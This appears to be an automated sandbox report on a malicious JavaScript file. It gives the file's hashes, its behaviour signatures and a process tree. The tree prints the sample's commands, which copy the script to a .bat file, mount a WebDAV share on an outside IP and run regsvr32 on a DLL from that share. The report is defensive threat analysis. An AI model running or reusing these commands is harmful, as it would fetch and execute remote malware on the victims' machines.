Analysis

  • max time kernel
    149s
  • max time network
    153s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240709-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
  • submitted
    10-07-2024 10:08

General

  • Target

    1577522145318959617.js

  • Size

    5KB

  • MD5

    39531438ce51eed6e60a5d8ed5fce6ed

  • SHA1

    99e148091eabf5c886f70911550cfb42b3789f3b

  • SHA256

    d2375b876f50bbce3b7ae8318f34eec8a051194ac7af8bc0438fdd15ade9680d

  • SHA512

    9afa5901f6c3a7f7b3ba775b4ecc534dd2ad7e73d599c16c49b2fb6b1c9860d8c25e665d7f0545bb2be6ffba1c636ba6ab1ef3ffeb11adc8d0852dbfd31a4799

  • SSDEEP

    96:fZbUqk2CIdIl8G5QpsiFyvQdVqBfezJX7M4Xv2S70X7mEX0lgzmqELkjzmqE+:fNS2d/9s6VNR+NIkHv

Score
7/10

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Runs net.exe
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\1577522145318959617.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:3424
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /k copy "C:\Users\Admin\AppData\Local\Temp\1577522145318959617.js" "C:\Users\Admin\\yhdhza.bat" && "C:\Users\Admin\\yhdhza.bat"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1248
      • C:\Windows\system32\net.exe
        net use \\45.9.74.13@8888\DavWWWRoot\
        3⤵
          PID:2260
        • C:\Windows\system32\regsvr32.exe
          regsvr32 /s \\45.9.74.13@8888\DavWWWRoot\480.dll
          3⤵
            PID:4224

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

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      Downloads

      • C:\Users\Admin\yhdhza.bat

        Filesize

        5KB

        MD5

        39531438ce51eed6e60a5d8ed5fce6ed

        SHA1

        99e148091eabf5c886f70911550cfb42b3789f3b

        SHA256

        d2375b876f50bbce3b7ae8318f34eec8a051194ac7af8bc0438fdd15ade9680d

        SHA512

        9afa5901f6c3a7f7b3ba775b4ecc534dd2ad7e73d599c16c49b2fb6b1c9860d8c25e665d7f0545bb2be6ffba1c636ba6ab1ef3ffeb11adc8d0852dbfd31a4799